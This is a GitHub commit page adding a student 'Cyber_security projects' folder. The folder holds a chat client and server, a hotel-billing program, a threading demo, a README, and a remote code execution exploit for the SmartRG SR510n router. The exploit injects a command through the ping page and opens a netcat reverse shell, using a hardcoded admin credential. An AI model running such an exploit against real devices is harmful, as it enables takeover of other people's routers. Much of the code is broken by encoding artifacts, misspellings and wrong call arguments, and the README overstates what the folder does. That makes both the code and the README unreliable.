Skip to content

Commit acd82b7

Browse files
authoredJun 28, 2023
Merge pull request #303 from cicada0007/main
Added Cybersecuriy projects
2 parents 964b957 + 32336ca commit acd82b7

File tree

6 files changed

+275
-0
lines changed

6 files changed

+275
-0
lines changed
 

‎Cyber_security projects/CLIENT.py

+32
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
#!/usr/bin/python3
2+
3+
import socket
4+
import threading
5+
6+
7+
def send_msg():
8+
while True:
9+
10+
msg =input().encode()
11+
s.send(msg)
12+
13+
def recv_msg():
14+
while True:
15+
recevied = s.recv(1024)
16+
print(recevied.decode())
17+
18+
19+
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
20+
print("connecting..")
21+
while True:
22+
try:
23+
s.connect("127.0.0.1",8888)
24+
break
25+
except CoonectionRefusedError:
26+
continue
27+
28+
print("connected....")
29+
30+
t1 = threading.Thread(target=send_msg)
31+
t1.start()
32+
recv_msg()

‎Cyber_security projects/README.md

+34
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
## Project Title
2+
Cyber_security Projects
3+
4+
5+
## Project Description
6+
The Project is a comprehensive cybersecurity tool designed to enhance the security of web applications and protect them from various threats. It provides a range of robust features and functionalities to identify vulnerabilities, perform penetration testing, and strengthen the overall security posture of web applications.
7+
8+
## Table of Contents
9+
* Visit the official Python website: Go to the Python website at https://www.python.org/.
10+
11+
* Download the installer: On the Python website, navigate to the Downloads section. You'll find the latest stable version of Python available for download. Choose the appropriate installer for your operating system. Python is available for Windows, macOS, and various Linux distributions.
12+
13+
* Run the installer: Once the installer is downloaded, run the executable file to start the installation process.
14+
15+
* Customize the installation (optional): During the installation, you may have the option to customize the installation settings. You can choose the installation directory, add Python to the system's PATH (recommended), and select optional features.
16+
17+
* Start the installation: Proceed with the installation by following the prompts. The installer will extract and install Python on your system.
18+
19+
* Verify the installation: After the installation is complete, open a command prompt or terminal window and enter the following command:
20+
21+
```
22+
python --version
23+
```
24+
25+
26+
27+
## Usage
28+
```
29+
python <file_name>
30+
```
31+
32+
## Contributing
33+
Sathwik R - https://github.com/cicada0007
34+
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
# Exploit Title: SmartRG Router SR510n 2.6.13 - RCE (Remote Code Execution)
2+
# done by Sathwik.R - www.github.com/cicada0007
3+
4+
import requests
5+
from subprocess import Popen, PIPE
6+
7+
router_host =3D "http://192.168.1.1"
8+
authorization_header =3D "YWRtaW46QWRtMW5ATDFtMyM=3D"
9+
10+
lhost =3D "lo"
11+
lport =3D 80
12+
13+
payload_port =3D 81
14+
15+
16+
def main():
17+
e_proc =3D Popen(["echo", f"rm /tmp/s & mknod /tmp/s p & /bin/sh 0< /tm=
18+
p/s | nc {lhost} {lport} > /tmp/s"], stdout=3DPIPE)
19+
Popen(["nc", "-nlvp", f"{payload_port}"], stdin=3De_proc.stdout)
20+
send_payload(f"|nc {lhost} {payload_port}|sh")
21+
print("done.. check shell")
22+
23+
24+
def get_session():
25+
url =3D router_host + "/admin/ping.html"
26+
headers =3D {"Authorization": "Basic {}".format(authorization_header)}
27+
r =3D requests.get(url, headers=3Dheaders).text
28+
i =3D r.find("&sessionKey=3D") + len("&sessionKey=3D")
29+
s =3D ""
30+
while r[i] !=3D "'":
31+
s =3D s + r[i]
32+
i =3D i + 1
33+
return s
34+
35+
36+
def send_payload(payload):
37+
print(payload)
38+
url =3D router_host + "/admin/pingHost.cmd"
39+
headers =3D {"Authorization": "Basic {}".format(authorization_header)}
40+
params =3D {"action": "add", "targetHostAddress": payload, "sessionKey"=
41+
: get_session()}
42+
requests.get(url, headers=3Dheaders, params=3Dparams).text
43+
44+
45+
main()

‎Cyber_security projects/SERVER.py

+28
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
#!/usr/bin/python3
2+
3+
import socket
4+
import threading
5+
6+
def send_msg():
7+
while True:
8+
msg = input().encode()
9+
client.send(msg)
10+
11+
def recv_msg():
12+
while True:
13+
recived = client.recv(1024)
14+
print(recived.decode())
15+
16+
17+
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
18+
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
19+
s.bind("127.0.0.1",8888)
20+
print("Listeniing......")
21+
s.listen(1)
22+
client.addr = s.accept()
23+
print()
24+
print("connected.....")
25+
26+
t1 = threading.Thread(target=send_msg)
27+
t1.start()
28+
recv_msg()

‎Cyber_security projects/hotelbill.py

+118
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,118 @@
1+
2+
#this is my python lab mini project
3+
#-------------------------SATHWIK.R
4+
#-------------------------SHRADDESH
5+
#-------------------------SIDDANTH
6+
7+
8+
9+
10+
#createing the menu
11+
12+
menu={
13+
"pizza":{
14+
"small":{
15+
"cost": 100,
16+
"quantity":0
17+
},
18+
"medium":{
19+
"cost": 200,
20+
"quantity":0
21+
},
22+
"large":{
23+
"cost": 300,
24+
"quantity":0
25+
26+
}
27+
},
28+
"burger":{
29+
"small":{
30+
"cost":100,
31+
"quantity":0
32+
},
33+
"medium":{
34+
"cost":100,
35+
"quantity":0
36+
},
37+
"large":{
38+
"cost":100,
39+
"quantity":0
40+
}
41+
42+
},
43+
"coke":{
44+
"small":{
45+
"cost":100,
46+
"quantity":0
47+
},
48+
"medium":{
49+
"cost":200,
50+
"quantity":0
51+
52+
},
53+
"large":{
54+
"cost":300,
55+
"quantity":0
56+
}
57+
58+
},
59+
"Chicken":{
60+
"small":{
61+
"cost":100,
62+
"quantity":0
63+
},
64+
"medium":{
65+
"cost":200,
66+
"quantity":0
67+
},
68+
"large":{
69+
"cost":300,
70+
"quantity":0
71+
}
72+
}
73+
74+
75+
}
76+
77+
78+
79+
#bill the following
80+
81+
82+
def bill(menu):
83+
total_bill=0
84+
for item in menu:
85+
for size in menu[item]:
86+
total_bill += menu[item][size]["cost"] * menu[item][size]["quantity"]
87+
return total_bill
88+
89+
90+
#order of the entire program
91+
92+
def order(menu):
93+
while(1):
94+
print("OUR MENU\n1.pizza\n2.burger\n3.coke\n4.chicken\n\n\n")
95+
item =input("\nENTER THE ITEM YOU NEED TO ORDER\n")
96+
97+
if item not in menu:
98+
99+
print("WE ARE SORRY!!!!!\nTHE ITEM IS NOT AVILABLE IN OUR HOTEL")
100+
continue
101+
print("THE SIZE AVILABLE ARE \n1.small\n2.medium\n3.large\n\n")
102+
size = input("\nENTER THE SIZE OF THE ITEM\n")
103+
if size not in menu[item]:
104+
print("WE ARE SORRY!!!!\nWE DONT WHAVE THAT SIZE ")
105+
continue
106+
quantity=int(input("\nENTER THE QUNTITY\n"))
107+
menu[item][size]["quantity"] += quantity
108+
print("YOUR ORDER HAS BEEN PLACED ")
109+
print("YOUR BILL IS",bill(menu))
110+
111+
print("\nTHANK YOU FOR OUR ORDER \n VISIT AGAIN :)")
112+
print("DO YOU WANT TO ORDER MORE?? (Y/N) ")
113+
choice = input()
114+
if choice == "N":
115+
break
116+
117+
118+
order(menu)

‎Cyber_security projects/threading.py

+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
#made by Sathwik R - www.github.com/cicada0007
2+
3+
#1/usr/bin/python3
4+
5+
import threadinng
6+
7+
8+
def loop1():
9+
while True:
10+
print("loop1")
11+
12+
def loop2():
13+
while True:
14+
prinnt("loop2")
15+
16+
t1 =threading.Threading(targrt=loop1)
17+
t1.start()
18+
loop2()

0 commit comments

Comments
 (0)
Please sign in to comment.